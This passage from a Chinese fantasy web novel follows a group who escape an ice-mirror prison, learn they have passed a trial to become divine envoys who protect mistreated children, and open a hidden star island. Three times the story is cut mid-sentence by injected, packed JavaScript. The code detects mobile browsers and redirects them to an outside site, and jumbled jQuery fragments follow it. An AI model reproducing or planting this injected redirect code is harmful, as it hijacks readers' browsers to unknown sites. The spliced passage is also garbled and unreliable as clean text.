冰凌颗颗砸到他身上,痛得他不断吸气,就好像随着数量的增加,威力也成倍放大了似的。 终于寒风刮尽,叮铛声停,冰间又回归沉寂。 洛祈闭着眼,双手颤抖,感觉身上也在颤抖,终于开口,“大家……还好吗?” 其实都不算太好,每个人都有磕碰擦伤,但所有人都说了“没事”。 一缕温热浸湿了面上罩着的衣物,洛祈闻到了血的味道。他知道,刚刚有两个冰凌狠砸到了他的鼻梁。 “那就好。”洛祈忍住痛意,“我也没事。” 可即便如此,他们还是,失败了。 四个人翻遍所有准备好的衣兜、背包、医药箱内外,全部都空空如也,哪里有冰凌的影子? “奇怪了……”阮廷榭摸着医药箱内部的点点凹痕,无疑彰显着刚刚有东西砸入,但此时,却连一点冰渣都没留下,“为什么不见了?” “看来,”洛祈想明白了,“这不是落不落地的问题。而是冰凌一旦射出,无论碰到什么,都会立刻消失不见。” 如此说来,拿到冰凌这个问题,竟是无解了! 洛祈擦掉了鼻下的血,开始复盘。 刚刚的攻击一共持续了10秒左右。近百颗冰凌无一接到。原本他设想的“镜面发射冰凌,自己接到,再反击镜面”这个思路是行不通了。 那换个思路呢?洛祈突然发现,自己在整个过程中,是一个“中间人”的角色。 那有没有可能,去掉中间环节——让“镜面发射冰凌”直接到“反击镜面”呢? 对了!洛祈再次对整个空间的冰墙发起镜面感知,果然,随着不断分割,很多大镜面的物灵能量有在被继续削减。 “星星,”洛祈忽然开口,“你说显化法则,本质上就是信念的力量,对吗?” “是呀。”星星回答,“小祈打算怎么做?” 他好像有点,知道了。 随后,洛祈顺利寻到当前能量最弱的一块镜面。比刚才还小,只有拇指一般大。 接着他做了一件事,将自己的所有感知全部投注到那块小小的镜面,聚精会神地感受那团微弱的物灵,然后,引导那团物灵跟随自己释放的感知力混合、交缠、抽离原处。 因为实在微弱,洛祈几乎没花多大力气,引导就成功了。 眨眼之间,洛祈看见那块小小的镜面,忽然,暗下去了。尽管原本也并未发光,但确实一下子从透亮的冰蓝色,变成哑灰,变得黯淡了。 更重要的是,洛祈将手在镜前摇晃,那块镜面不再反射任何东西了! 这无疑给了他莫大信心。他再次找到第二微弱的镜面,感知物灵,释放引导力,用如出一辙的方法,再次让那块镜面黯下来。 “可以!”洛祈忽然笑了,振奋起来。 他有了新的想法。 或许,他可以改变镜面中的镜像。 既然镜像就是镜面发射时精准的靶子,那,如果这个靶子的方位改变了,有没有可能导致弹道偏移呢? 哪怕只偏移一寸两寸,也足够了。 洛祈站定,望着整个空间中纷繁杂乱的镜面。想到镜面囚笼制造出那么多的自己,就是为了让他陷入迷失。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083512|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 行啊。洛祈变了眼神,那他就试试,让这整个空间、所有镜面都变得迷失! 双手再次贴上冰墙,洛祈将所有镜面按照物灵能量的微弱程度,进行重新排序。已经解决了两块最小的镜面,这次他要从第三微弱的镜面,开始尝试改变镜像。 丝丝缕缕的物灵感知力量在镜中释放游走,先分散,尔后开始朝着最微弱的那团物灵集中,杂糅混合。但这次不是抽离,而是让混杂了自己力量的物灵逐渐由虚转实,继而在镜面之中偏移重心。 感受物灵凝结是一个微妙的过程。对洛祈来说,就像是将一团散雾般的棉花糖梳理成统一的丝状,然后慢慢旋转压实、硬化,直到它开始凝结出中央的“核”。 洛祈将释放的力量触及那“核”。 啪嗒。 犹如按下一个隐藏的开关。 镜面上那个小小的镜像,随着物灵重心的移动,奇迹般的,轻轻往上抬了一寸。 很好,有效。 洛祈向着相同方向,再次按动“开关”,又一寸,镜像抬了上去。 这就行了。 洛祈转向下一个目标。第四微弱。 如出一辙的操作,他改变了那块镜面的镜像,感觉自己逐渐开始熟练,但也能感知到镜面的物灵力量比刚才稍强。 接下来是第五、第六、第七微弱的镜面……强度一点一点升上去,困难也逐渐升高,同时,出现了微弱的对抗性。不再那么容易就能随心引导成功。 但没关系。移不了两寸就移一寸。 能移多少是多少。 精神持续集中,力量持续释放。洛祈的额上浸出汗,滑到鬓边,又流到下颌。就这样,将镜像移动的数量撑到了20块。 洛祈松开僵住的双臂和十指,闭上眼喘了几口气,像是连着做了许多台精密的手术,有点撑不住,要歇一会儿。的确,看似他在操纵物灵,其实也被物灵掣肘。 余下的力气已经不多。洛祈决定把力量用在刀刃上,将效用最大化。 他开始观察刚才已经移过镜像的20块,决定不再逐级向上,而是通过那些镜面的弹道方向,选择正好能与其弹道交汇的对面镜像,进行最终的移动。 越阶而行,自然更难。 洛祈几乎拼尽全力,才将整个空间内,完成镜像移动的镜面增加到47块,而到最后,有些镜像也只做了不到一寸的微弱偏移。 他再次开了麦,声音有些飘,没力气说太多,只是让其他几位都做好保护措施,他即将引发最后一次的镜面攻击。 “我感觉你的声音很虚弱,洛,”埃文忧心道,“……你没事吧?” “嗯……没。”洛祈已经有些晕眩,但只是说,“信我,这是最后一次触发攻击。一定。” “好。”几人相继对洛祈说,“我相信你。”随后开始做保护措施。 为了保持镜像稳定,洛祈在原地站定,心里暗暗祈祷许梦扬和萨满少女安全。在得到另外三人做好准备示意后,他将背包垫在身后,又拿起一本书,几乎就站在一面冰墙前,将书脊尖角猛地向后一击,催动了最后一次镜面攻击。 瞬间镜面一闪,无数冰凌子弹即刻脱出镜面,似雹雨倾盆砸射下来。 洛祈紧紧裹住头脸,顾不得露出的皮肤发出刺痛。而背后那些未曾移动过镜像的冰凌弹出,隔着背包,他都感觉到像在被无数弹片轰炸。 但幸好一切如他所料。 ——被移动过“靶子”的镜面开始射偏子弹。 飞溅的冰凌无法脱离对镜像的依赖开始乱射。 弹道交汇又相互弹开。 然后一颗一颗大大小小的子弹,以疾风迅雷之势,无可避免地砸向周围的冰墙! 每个反射都变得扭曲、重叠、不可控制。 犹如陷入一场盛大的迷失。 碎裂声起。一时不停。 洛祈在心里从一数到十,子弹还在相互弹射。 斑驳光影闪动,冰墙开始一块一块瓦解脱落。 整个墙面布满不断延伸的裂纹。 随后他忽然听到埃文和索尔的声音,几乎异口同声,“我这边的墙面开裂了!” 洛祈一颗心终于放下。 他猜得没错,既然是同时生成的空间,很有可能单人只是局部。由许多局部的密闭空间合并成为整体。 局部一旦打破,整体就将不复存在。 像一阵冰雹刮过,空间内所有墙体开始轰轰烈烈碎成片。光与海水一齐涌进,将所有人卷入其中,但很快,一涡水流又将他们推出海面。 终于破晓。 洛祈屏住的呼吸得到释放,他擦了把眼前的水,看向周围,再次看到了许梦扬、萨满少女、埃文、索尔和阮廷榭。 此时此刻,海天相连。 他们似乎都站在澄净无波的海面。 更神奇的是,洛祈眨了眨眼,确定不远处正站着塞勒和伊甸。旁边还有两个既陌生又眼熟的人。 她们已经回来了? 刚想说话,洛祈目光一转,却忽然再次睁大双眼,惊讶于看到了一个仿佛许久未见的人。 柯里丝·科妮。 她仍是那个少年老成的神秘模样。 兜帽披风,逆光而立。 微微笑着,对他们开了口—— “恭喜各位,通过考验。” 59.神使选拔 “伊甸!” 埃文立刻向妹妹跑去。 许梦扬先是看了眼神秘的柯里丝·科妮,又看了眼脚下澄净的海面,跟了上去。虽然疑惑,但他此刻并未说什么。 其他人在原地,缓缓活动了下身体。 大家此时都有些狼狈。 像刚经历完一场劫难,气力不足,只想好好休息一下。 结束了……洛祈整理了下自己的衣服,又蹲下身摸了摸,确定就是海面。转头,看见埃文蹲下去一把抱住伊甸,伊甸也紧紧抱住哥哥,两个人似乎都红了眼眶。 一向情绪鲜少外露的埃文,在和妹妹小声说着洛祈听不懂的语言,也许是家乡话。但洛祈听得懂,那是独属于他们俩的温情。 而许梦扬有了新发现。 他仔细端详伊甸身后那一男一女。太眼熟了。这不是…… “呃……”许梦扬上前,对着男人,“神的化身先生?” “啊。”眼前的男人身宽体胖,面对许梦扬露出一点尴尬和局促,讪讪一笑,挠了挠头,没说出什么。也没有之前那副很神金的样子了。 但这些反应已经足够让许梦扬确定,他就是那只风筝人!整个样貌和上半身看起来没怎么变化,但下肢已经恢复成正常腿型。 许梦扬又转头,看向伊甸身后的女人,她神情略微严肃,有些警惕。最重要的是,她穿了一身的金箔。 前后一连,想起来了。 她似乎就是曾经攻击过自己,也攻击过塞勒,最后强行抢走伊甸的那个风筝人? “这是……”许梦扬隐隐有些猜测,但仍二丈和尚,“怎么回事?” “我来说吧。”塞勒在旁边道,“这两位,就是伊甸的亲生父母。她之前非要抓走伊甸,是因为知道那是他们丢弃的女儿。” 这句话声音不大不小,却忽然引起所有人的注意。一时间都看过来。 “什么?”许梦扬有些诧异,“亲生父母?为什么他们会在这里?” 许梦扬记得埃文说过,伊甸的父母曾经被萨满长老回溯过,应该是两个魔怔的炼金术士?那为什么…… “因为他们要在这里受到惩罚。” 这时,一旁的柯里丝忽然说话了。 所有人看向声源。柯里丝往前走了两步,正色道,“贪婪的炼金术士,要为曾经犯下的错付出代价。抛弃婴孩,陷入虚妄执迷。而这里就是他们的惩罚之地。” 她一字一顿说得清晰。 语气平静却不怒自威。 仿佛有种无形的压力,让在场的所有人惊讶却不容置疑。 “原来……”一瞬间的惊讶过后,率先反应过来的,是萨满少女。她的惊讶被一种好奇代替,“真有神职降罚?” “不错。”柯里丝眸光看向萨满少女,微微愣了一下,接着笑了,“你好,神灵传讯者。” 她们之间仿佛有一种天然的默契。 “你好,”萨满少女也浅笑一下,上前求证,“你是?” “柯里丝·科妮。”她淡淡说道。 忽然,萨满少女露出恍然的神情,“原来他们的手串就是你做的?” “没错。” “怪不得。”萨满少女豁然开朗,“柯里丝家族的女儿是最会做引导型水晶珠串的,以前在南美只是有所耳闻,今天,总算是见到了。” “还好……”柯里丝难得露出一些赧然,“我还比不上姐姐她们。” “没事。”萨满少女轻笑一声,“柯里丝家族代代传承,都是天赋异禀,你也不会弱的。” 其他人彻底听懵了。 “em……”许梦扬举手投降,真诚询问,“二位这是在说什么呢?” 萨满少女一回头,看到一众懵逼脸,失笑,“好吧,我来解释一下——这位柯里丝·科妮,也就是给各位做手串的女孩,她的家族,世代,都是被承袭的神使。” “神使?”众人惊讶。 萨满少女接着娓娓道来——自从她幼时在南美的原始部落,被萨满长老选中成为所谓的“神灵传音者”后,就开始见到许许多多奇异的人事物,他们各有所长,各司其职。但其中最神秘的,就是传说中的柯里丝家族。 每一位萨满在首次出山之前,都需受洗妥当,然后在萨满长老的引领下,被给予一个神秘的能量物件,通常是水晶质地。有时是手串,有时是吊坠、项链,什么都有。 用来做什么呢? 治病祭祀,聆听神音。回溯前史,未卜先知。前期都要通过物件引导,慢慢再将其能量逐渐引入自身,予以辅助。 如此强大的能量物件,自然不是想得就能得。 唯一能做出来的,萨满少女很早便听人们口耳相传,就是柯里丝家族的女儿们。说她们做出的能量物件无人能及。 可偏偏柯里丝家族的人颇为低调,神秘莫测,踪迹又遍布世界各地,根本也无处寻得。小孩子好奇心重,只好求证从小带着她的萨满长老,结果却只得到意味深长的一句,“她们都是带着天赋使命的人。”仅此而已。 并不甘心,但是无法。 直到萨满少女十岁那年,首次出山之前,轮到她被给予一件能量物。 她激动得一夜无眠。然而次日由长老带往受洗屋,内阁间却空无一人,只看见红木桌上,静静地插着一支边缘镶有水晶彩珠的崭新手鼓。 没见到人,自然遗憾。但自从她得了那物件,人人都能看出,这个萨满小姑娘变得不同了。 从那之后,她原本的灵性被十足引发出来,渐渐能做到一些常人做不到的事。也渐渐体悟到,所谓天赋使命,就是传达并执行冥冥中上天的意志。所以他们才被称为在人间的神职人员。 说回来,萨满少女还是很感激当初那位柯里丝家族的赠礼人,虽然不知道为她做手鼓的人到底是哪位。 但今天,也算终于见到心心念念的柯里丝家族的人了。 “给你做手鼓的人,”柯里丝·科妮看她腰间系着蝴蝶结的手鼓,回忆片刻,笑言,“应该是我那位常在南美游走的堂姐。” “真的呀?”萨满少女雀跃,“那有机会的话,替我谢谢她好吗?” “可以。没有问题。” 现场几人早就听得默默震惊,陷入一阵微妙的沉寂。但好在大家都已经是经过风浪,见过“世面”的人了,无论心里多么惊涛骇浪,此刻,面上也都还算平静。 但有一件事引起了许梦扬的注意。 神职降罚。 听她们的意思,应该是为了让那两个曾抛弃伊甸的人付出代价,才降下的惩罚。 “那个……”许梦扬记者病发作,看看伊甸的亲生父母,“神职降罚,就是将犯过大错的人,引渡到这座岛,接受惩罚吗?” “是的。”柯里丝点头,又说,“对于这两个人,最大的惩罚就是让他们永远成为悬浮的风筝人,陷入虚妄的执迷和无休止的愧疚中。” “原来如此。”许梦扬想明白了,这俩夫妻是因为沉迷炼金而抛弃的孩子,所以降罚也是由此而来。只有他们再一次见到伊甸,才能落地重新成人。 “那什么样的人……”许梦扬有些好奇,“才会受到神职降罚呢?” “所有苛待过孩子们的人。”柯里丝淡淡道。 “那,”洛祈眉心一跳,立刻想起,“那些膨胀的气球人也是吗?” 他还清晰地记得,第一次看到的那几个气球人,完全是一伙人贩子!他们也是被引渡来岛的吗?是为了降下惩罚? “当然。”柯里丝语气很冷,“那些人不是无所畏惧、什么都敢做么?那就让他们一次一次膨胀,再无限体会恐惧的感觉。” 几个人交换一下眼神。 说到这里,七拼八凑,再迟钝的人都对这座岛有了些不同想法。 “所以……”洛祈诧异,“这座岛屿的存在,对作恶之人降下惩罚,其实是为了保护孩子们?” “我有一个疑问。”几乎同时,埃文声音响起,他再次想起莉安,“这样的岛屿,是只有这一座吗?” “当然不止。”柯里丝浅浅一笑,“这样的岛屿在其他四大洋还有八座,加上地中海这一座,全世界一共九座。只是在一些特别的时刻才会与现实世界重合。” 怪不得,埃文明白了,怪不得当初莉安像是急着要去什么地方。也许那一座岛就在那附近! “那我们呢?” 冷不丁,许梦扬问出了最让他在意的问题,“你刚刚说考验,考验什么?我们该不会……也被惩罚了吧?”他双手一摊,表情很无奈,尾音拖长,“看看我们经过这一遭,都变成什~么狼狈样了啊。” 他的确有理由这么想。严格说起来,他们也是被一些“神秘线索”引渡来岛的。又在这经历了一连串的命悬一线。搞不好就嘎在这里了。 “抱歉抱歉。”他的表情让柯里丝忍俊不禁,“因为是选拔神使的过程,所以对各位稍微严苛了些。” “选拔神使?”许梦扬转而惊奇,“神使不是天生的吗?为什么还需要选拔?” “因为不够。”柯里丝神情变得柔和,“这世上的孩子们,正在受苛待的太多了。而神使能做的,就是在日常中配合星星,辨别出他们背后隐藏的伤痛,及时揭发真相,并援以救助。” “怪不得,”埃文说,“在荆棘地的时候,我遇见的那些孩子和动物幼崽,都是被暴力对待过的。这场考验,是让我们看见他们吗?” “还有我遇见的那些,”洛祈随即补充,“……被拐卖的孩子们。” 还有那些空心的孩子,阮廷榭想。 “这是一方面的目的,但不止。”柯里丝有些欣慰,“更重要的,是通过克服困难的过程,考验各位的品性,是否有成为神使的资格。所幸,大家都通过了。” “所以我们经历不同的考验,”索尔忽然问,“也是这个原因吗?” “是的,”柯里丝说,“其实你们每一个人,在踏上陆块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15102258|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那一刻,这座岛屿就已经为你们量身定制了相应的考验场景,就是为了能在最大程度,激发出你们能够成为神使的潜力。” “原来是这样……”塞勒喃喃。 “那这样说,”许梦扬思忖道,“选拔神使的标准到底是什么呢?对人有限制吗?还是有一些特定的品性要求?” “标准说起来,其实也很简单。”柯里丝回答,“对人品性上的要求就是善良,勇敢,真实,可靠,和自我接纳。只要能做到其中一项,就算通过。而完全做不到其中一项,”她看向大家,“也无法通过。” “这样哦……”许梦扬反应了一会儿,又觉得,“好像也不太难?” “真的吗?”柯里丝淡淡笑了下,“那如果在这些品性前都加一个‘真’字呢?以为自己能做到,和真的能做到可不一样。这座岛屿恐怕比你们还要了解你们自己。” 真·善良。真·勇敢。真·真实。 真·可靠。真·接纳自我。 洛祈忽然感觉,既能真的做到其中一项,又不能完全做不到其中一项,这双重评判,好像又确实挺难。 “所以我们上岛的时候,”塞勒恍然反应过来了,“其实都是不符合这个要求的,对吗?” “没错。”柯里丝说,“至少,是有待验证的。所以你们经历的一切,都是在通过考验,让你们达成选拔资格。我想,各位应该对自己是在什么时候突破了原先的自己,都还有着深刻印象吧?” 的确,这样一说,每个人都清晰地记得属于自己的时刻。 洛祈想的是第一次面对移形雾恫吓时,没有退缩的自己;又想到第一次搭建契约,将自己完全交给物灵;到最后能操纵物灵,对自己的能力愈发认同,且坚定。 许梦扬在想自己终于分清勇敢和莽撞,攻克气球人的瞬间。 埃文想的是荆棘地,是玻璃人莉安,是星星将他点醒——告诉他责任感和自己之间的平衡。 索尔想的是他无论如何也要找到Ryan的那一刻。而他也真的做到了。 塞勒在想她重新面对过往,重新找回对最本真的自己的那份认可。镜面人崩解在眼前时,她收刀入鞘。 而阮廷榭想到他终于下定决心,拿起相信的力量,成功击杀复制自己的空心人,听到星星对他说的那句“你已经找回我了”。 经此一役,每个人都比原来更不同,也更坚定。 这才是这场考验,最终的意义。 跨越挑战,突破自己,才有成为神使的资格。 “那如果,”许梦扬想了想,“我是说假设,假设我们没能完成考验呢?会不会就直接嘎在这里啦?” 毕竟确实有很多九死一生的时刻。 “那倒不会。”柯里丝轻松道,“如果判别你们真的完不成某些环节,除了星星,岛屿也会第一时间派出援助。还记得吗?” “啊!”洛祈猛地想起来,“那个移形雾!” “是的。”柯里丝说,“那个场景,就是岛屿确认你们暂时无法应付,移形雾才会出现。除此之外,如果你们当中真的有人因为受伤而确认无法前行,我也会提前出现,将你们安全送回岛外。” 许梦扬听出了点端倪。 “你是说……之前有人发生过这样的事?” “没错。”柯里丝如实相告,“神使选拔,各位不是第一批,也不会是最后一批。每一批的资质不同,可能出现的考验场景也会完全不同,因此,出现无法通过的情况也是正常的。” 资质……许梦扬托腮思索,看看周围,“我还有个问题!那我们几个算是一批的话,每一批人数是固定的吗?还是随机的?” “正常情况下,”柯里丝用手指点了点人头,“因为涉及到合作环节,每一批的人数会在5~8人。但参与考验的人随机居多,只要是真的关心儿童消失这件事。品性为先,其他不设限。故而出现什么样的组合都可能,比如我妈妈那一代,”她回想了下,“就是柯里丝家族的七个女儿一起通过的。” “你也需要通过考验?”塞勒问。 “是啊。”柯里丝笑了下,“我也只比各位早一点,是上一批通过的。当时一共六个人,四个女孩,两个男孩。” “原来如此。”埃文问,“所以刚说过的另外四大洋中分布的八座岛屿,也会进行同样的神使选拔吗?” “会。”柯里丝说,“因为要将神使救助的范围,辐射到所有大陆上的孩子。” “可是,如果真的要在岛外实施援助的话,”洛祈想起刚才她说需要配合星星,“我们出了这座岛,应该就无法听到星星的声音了啊?” “可以的。”柯里丝伸出一根手指,“通过神使选拔的各位,第一,即使重新回到现实世界,也能顺利听到星星的声音。” 接着,在众人惊异的目光下,柯里丝又伸出两根手指,告知了他们还将获得两种能力—— 第二,回溯过去; 第三,预知将来。 60.星星的任务 拥有特殊能力是一件让人倍感奇妙的事。 但能力越大,责任越大。 这点道理大家还是懂的。 “约束呢?”于是许梦扬问,“对我们应该是有的吧?” “这点大家不必担心。”柯里丝笑道,“该做什么,不该做什么。自有星星为你们把关。” 许梦扬下意识往上瞧了瞧,虽然没看到自己的,但他能看到其他人头顶的星星。 “各位头顶的星星,”柯里丝接着说,“都是从你们一出生,就降临人间陪伴你们一同成长的。星星不止是指导灵,同时,还是守护灵和监督灵。” “守护灵?”洛祈有些疑惑,“怎么守护?” 柯里丝没有立刻解释,而是转头,看向伊甸,“各位还记得,伊甸原本是如何特殊的吧?” 洛祈点点头,“她有言灵能力,言出必现。” “对,”柯里丝转回来,话锋一转,“那大家有没有发现,她的头上,并没有一颗星星?” 刚刚情况纷乱,这一说,众人才发现还真是。 “这是?”洛祈不解。 “因为那颗星星,”柯里丝了然道,“就在她身体里。” 所有人:! “这又是怎么说?”许梦扬忙问。 “伊甸被抛弃的时候,还太小。照理说是活不了的。”柯里丝几不可察地叹息,“但那时守护她的星星为了让她能活下去,进入了她的身体,并将她就近安置在有人气的人家。这才是她维持存活的原因。” “原来是这样……”埃文再次紧紧揽住伊甸。 “所以,她才会有‘言灵’的能力。因为是星星在直接说话。自然言出必现。” 这一解释,大家才恍惚明白是怎么回事。 洛祈默然点头,有些懂了守护的含义。 “那,”塞勒忽然开口,“监督灵呢?是为了监督我们不做坏事吗?或者,要监督我们做正确的事?” “关于监督灵,”柯里丝浅笑,“大家也别误会。监督灵确实会监督各位有没有做不该做的事——比如显而易见的‘作恶’。但也并非是要按照什么标准,来看大家有没有做‘正确’的事。事实上,很多事也并没有所谓的正确。监督灵主要看的:一是你有没有听从自己心灵的声音,来发展自己的所长,活出自己;第二就是你是否在听从自己的同时做伤害别人的事。也就是无所顾忌的自私。” “听从心灵的声音……”塞勒呐呐,“我好像知道我为什么会进入潜镜丘了。” 柯里丝柔和地看了看她,“因为每一个孩子来到这个世界上,都是独一无二的。都有自己的路要去走。而星星的任务,就是陪伴孩子们好好长大。” 思忖片刻,埃文忽然说,“不久前,我在岛上见到一位故人,她告诉我,我们所经历的一切都是这座岛屿对外来者打造出来的,那么,真实的岛屿,存在吗?”他越想越笃定,“除了引渡该受惩罚之人,其实还有别的对不对?” 柯里丝一愣,少顷宽慰而神秘地笑了,“实际上,你们已经获得了开启真实岛屿的关窍。” 几人面面相觑,有些茫然,但又透着兴奋。忽地洛祈和萨满少女几乎同时反应过来,“那些哼鸣声!” “没错。”柯里丝说,“每一句哼鸣就是一个线索。如果来访者能拼接出整体,就将获得真实岛屿的入场资格。” “语言呢?”洛祈迫不及待,“有限制吗?” “没有,这座岛屿能识别出所有人说的话。” 未知的真相蒙着面纱。 仿佛一切都近在咫尺。 洛祈似近乡情怯,感觉自己心跳都快了几拍。 “我先来,”他声音有些抖,稳住,“第一只尖角被折碎,虚实真假难分辨。” ——话从口出的瞬间,他们脚下这片明镜般的五边形海域内,忽然有丛极亮的光芒从一个顶点出现,犹如火焰。随即,那光芒向旁边拉开,延展,划出一条直线,向着相对的一个顶点直滑过去,最终落在了那一点上。 澄净的五边形霎时被那条光线分成两部分:一个等边三角形,和一个等边梯形。 这时,萨满少女上前,将她在冰窟中听见的最后一句哼鸣,翻译出来: “第二只尖角被折碎,爱与恐惧颠倒换。” 紧接着,从刚才那个落点上,又出现一丛光芒,再次开始向另一边拉开,延展,划出一条直线,朝着夹角36°方向的另一顶点直滑过去,最终落在了那一点上。 “第三只尖角被折碎,”萨满少女接着说,“主体中空,声断联。” 立刻,从第二个落点上燃起一丛白焰似的光芒,继续向着36°夹角的另一方向,徐徐拉开了一条直线,又落在下一个顶点上。 到这里,三条光线横呈海面,每个人都能看出它在描绘什么图案了。 “第四只尖角被折碎,星星开始熄灭了。”洛祈一鼓作气,“第五只尖角被折碎,暴风雨就要降临。” 最后两丛光焰先后升起,顶点之间,两条灼灼发光的直线逐渐延展,拉长,如出一辙滑过海面,成为星星的最后两条长边。 五条长边自动绘制完毕,所有人目瞪口呆。那是一个金光灿灿的星星。 星星的主体部分正一闪一闪,仿若一个召唤。 “来吧,”柯里丝转向伊甸,伸出手柔声道,“只有星星,能作为钥匙打开星星的岛屿。” 伊甸看了看埃文,埃文无声地笑了下,摸摸她的脑袋说,“去吧。” 于是伊甸放开了哥哥的手,走向柯里丝,牵住她的手,一步一步,被牵引到那个巨大的、正在闪烁着的星星主体。 伊甸有点紧张,但被柯里丝牵着又感到安心。 当两个人终于站定,奇迹发生了。 星星主体的五条光边,蓦然停止一秒闪烁,尔后霎时爆出万千光芒,直冲向上,直插云霄。犹如一条竖直、璀璨的金色银河。将所有人都染上金光。 旋即,那金光自星星主体,沿着星星的五条长边有序向外弥漫开来。光芒范围几乎辐射整个天地。 洛祈惊讶地发现脚下的海面开始变了,绿意出现,像是凭空扩展出一块陆地。 “是草甸!”洛祈兴奋道,“我之前见过的草甸!” 所有人都颇感神奇地望向地面,看着草甸一点一点无限扩展,微风拂过,碎花摇曳着出现,一个全新的世界拉开在他们眼前。 高高的天空中光影一闪一闪,阳光透过,折射出耀眼的暖色彩光。像是穿过了无数透明的糖果包装纸。 “那是……什么?”许梦扬惊奇。 伊甸却忽然拍着手跳起来,朝向高空,“星星!星星!” 斑驳光影闪动,倏然有东西飞了下来,一只水晶蜻蜓落到了伊甸眼前,“吼。” “人类!”接着另一只水晶纸鹤也飞下来,绕着伊甸和其他人飞了一圈,“好多!” “又见到你啦。”紧随其后的,是一只水晶蝴蝶蹁跹而至,声音还是如羽毛一样轻,“你找到你哥哥了吗?” “嗯!”伊甸点点头。 “这里……”洛祈望着漫天光影,无限感慨,“就是星星的岛屿。” “是的。”柯里丝肩头落下来两只水晶小鸟,她逗逗它们,“这里,就是星星诞生之地。” 话音刚落,肩头其中一只小鸟忽地通体一颤,迅速展翅变回星星形态,紧接着,五个尖角发出亮光,蓦地消失了。 “诶?它去哪儿了?”塞勒忙问。 “去人间了啊。”柯里丝浅笑,“又一个孩子降生了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124647|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好神奇……”塞勒从草甸捧起一个水晶小兔子,“那星星们知道,自己会遇见什么样的小孩子吗?” “唔,”柯里丝思忖片刻,然后失笑,像是被问到了,“也许吧。不过也有可能,遇见了才会知道。” “原来那么远的人间,”洛祈喃喃,“天涯海角,都可以影响到这里的星星。” “是啊,”柯里丝说,“星星们和孩子们之间,本就是一种类似于量子纠缠的双向关系。” “这么说,”洛祈问,“如果孩子们没能好好长大,星星们也会受到影响么?” “会的。”柯里丝说,“在人间的孩子们,每当倾听自己内心的声音、跟随自己的直觉时,就是在与星星做链接。这份链接越强,就越能相互影响,身心合一,爆发出巨大的力量,足以做成任何事。但如果,孩子们在成长过程中,被外界的太多声音干扰而忘记了自己的感觉,或遭遇太多不可抗力,二者之间的链接就会逐渐断裂。” 洛祈恍然,星星指导孩子们,也会被孩子们的状态影响。 “逐渐断裂,会怎么样?”阮廷榭不禁追问。 “链接断裂,失去了孩子们联系的星星,五只尖角就会一个一个凋零破碎。” 五只尖角?其他人忽然想到了那几句哼鸣声。原来真的是在说星星。 “所以……”洛祈想通了,“其实每一句哼鸣,都是在说星星与孩子们的关系。那当五只尖角全部折碎时呢?会发生什么?” “未成年的孩子们,当前四只尖角全部凋零,星星就会开始熄灭。同时,第五只尖角会发出警报——那是星星的求救信号。” “求救?” “每一次求救信号,都会积累相应的区域性风暴指数。以便神使们确定方位。”柯里丝平静道,“求救警报会被神使们感应到,继而,会通过特殊的声纹附灵,将没有好好长大的孩子们,重新引渡回最近的岛屿上,重新长大。” “啊,”洛祈道,“原来我听到的物灵声是这么来的!” “是的。”柯里丝说,“所以神使很重要。” “而当五只尖角尽数凋零破碎,只剩下星星的墓碑,也就是星骸时,星骸会指引孩子们按照神使的附灵路径,穿越暴风雨,去到他们该去的地方。” “所以那些孩子真的在岛上?!”许梦扬问。 几人相互看了一眼,见柯里丝点头,大家都有些兴奋。洛祈说,“那我们能见到他们吗?” “当然。” 柯里丝偏过头,对肩上另一只小鸟轻语了几句听不懂的话,接着,她双手十指交叉握拳,置于胸前,做出祈祷状。 水晶鸟儿飞起来,扑扇着翅膀,鸣啭啁啾,又围绕另外的水晶纸鹤、水晶蝴蝶和水晶蜻蜓转了两圈,然后相互都碰了碰脑袋,似乎达成了什么交流。 “好吧。”水晶蝴蝶转向他们,轻柔地说。 “只有最纯净的愿望,才能唤醒守护孩子们的隐形屏障。” 几个人立刻会意,也双手合十握拳,虔诚地闭上眼睛,在心里做出真诚的祈愿。 唯独伊甸没有闭上眼。 因此她看到了接下来发生的一幕。 一秒,两秒,三秒…… 眼前的空气好像被无声扰动,泛起了小小涟漪,接着涟漪变成波澜,从“中间”开出一道缝隙,然后,仿佛有两只无形的手,向左向右,从中间向两边,拉开了一面隐形幕布。 伊甸好奇地睁大双眼。 看那两片隐形幕布被均匀的收拢褶皱,就像小时候母亲用挂钩固定窗帘一般,固定在两边。上面是带有弧度的扇形,很像一个透明扇贝。 “好啦。”水晶蝴蝶的声音出现。 大家睁开眼,惊讶地发现透明帷幕间,向他们展露出的,是一个绿意盎然的幽深隧道。 61.隐藏乐园 隧道清幽神秘,入口处仿佛一扇绿色丝绒编织成的拱门。内部泛出点点荧光,是一眼望不到头的深绿。 